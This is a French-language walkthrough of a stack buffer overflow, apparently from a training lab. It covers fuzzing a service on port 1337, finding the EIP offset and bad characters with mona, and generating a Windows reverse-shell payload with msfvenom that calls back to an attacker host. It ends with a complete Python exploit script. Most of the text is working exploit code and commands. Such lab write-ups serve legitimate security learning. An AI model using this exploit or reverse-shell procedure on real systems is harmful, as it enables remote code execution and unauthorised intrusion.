AVEC IMMUNITY DEBUGGER ET MONA :
https://www.immunityinc.com/products/debugger
https://github.com/corelan/mona
Dans immunity on créer un nouveau workspace :
!mona config -set workingfolder c:\mona\%p
On fuzz le binaire pour trouver l’offset qui créera le segfault :
#!/usr/bin/env python3
import socket, time, sys
ip = "10.10.124.101"
port = 1337
timeout = 5
prefix = "OVERFLOW1 "
string = prefix + "A" * 100
while True:
try:
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.settimeout(timeout)
s.connect((ip, port))
s.recv(1024)
print("Fuzzing with {} bytes".format(len(string) - len(prefix)))
s.send(bytes(string, "latin-1"))
s.recv(1024)
except:
print("Fuzzing crashed at {} bytes".format(len(string) - len(prefix)))
sys.exit(0)
string += 100 * "A"
time.sleep(1)
Suivant le nombre de caractères requis pour planter le binaire, on crée une chaine pour trouver l’offset exact avec msf_pattern_create :
msf-pattern_create -l 2400
On prend un template d’exploit et on ajoute notre pattern en tant que payload pour détecter le segfault :
import socket
ip = "10.10.124.101"
port = 1337
prefix = "OVERFLOW1 "
offset = 0
overflow = "A" * offset
retn = ""
padding = ""
payload = "Aa0Aa1Aa[......]A0aA1A" # pattern généré par msf
postfix = ""
buffer = prefix + overflow + retn + padding + payload + postfix
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
s.connect((ip, port))
print("Sending evil buffer...")
s.send(bytes(buffer + "\r\n", "latin-1"))
print("Done!")
except:
print("Could not connect.")
On lance l’exploit, ça fait planter le binaire.
On cherche dans immunity les valeurs d’EIP avec notre longueur exacte de pattern :
!mona findmsp -distance 2400

On connait l’offset, maintenant faut vérifier les badchars.
Dans immunity on génère un tableau de badchars avec mona :
!mona bytearray -b "\x00"

En python on génère une chaine de badchars qu’on utilisera en tant que payload :
for x in range(1, 256):
print("\\x" + "{:02x}".format(x), end='')
Résultat :
\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff
On exécute notre exploit avec les badchars en tant que payload, ça fait planter, et donc ensuite dans immunity on compare nos badchars avec ceux générés par mona.
Pour ça on utilise l’adresse de ESP après le plantage :
!mona compare -f C:\mona\oscp\bytearray.bin -a 017AFA30

On obtient les badchars suivants :

On génère un shellcode avec metasploit en excluant les badchars :
msfvenom -p windows/shell_reverse_tcp LHOST=10.8.175.165 LPORT=9999 -b "00\x01\x02\x03\x04\x07\x08\x2e\x2f\xa0\xa1" -f py
On remplace notre payload par notre shellcode dans notre fichier d’exploitation python.
On recherche dans immunity avec mona ou est ce qu’on peut jumper pour exécuter notre shellcode :
!mona jmp -r esp -cpb "00\x01\x02\x03\x04\x07\x08\x2e\x2f\xa0\xa1"
On inscrit une des adresses en tant que return address en little indian et on rajoute quelques NOPS :
retn = "\xd3\x11\x50\x62"
padding = "\x90" * 16
On exécute notre payload et on récupère le reverse shell :

si besoin, les fichiers pour s’amuser :
La machine vulnérable était un Windows 7 en 64 bits sans protection
Le code d’exploitation complet :
import socket
ip = "10.10.124.101"
port = 1337
prefix = "OVERFLOW1 "
offset = 1978
overflow = "A" * offset
# adresse copiee depuis immunity 625011D3
retn = "\xd3\x11\x50\x62"
padding = "\x90" * 16
payload = "\x31\xc9\x83\xe9\xaf\xe8[....]\x83\xe9\xaf"
postfix = ""
buffer = prefix + overflow + retn + padding + payload + postfix
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
s.connect((ip, port))
print("Sending evil buffer...")
print(str(buffer))
s.send(bytes(buffer + "\r\n", "latin-1"))
print("Done!")
except:
print("Could not connect.")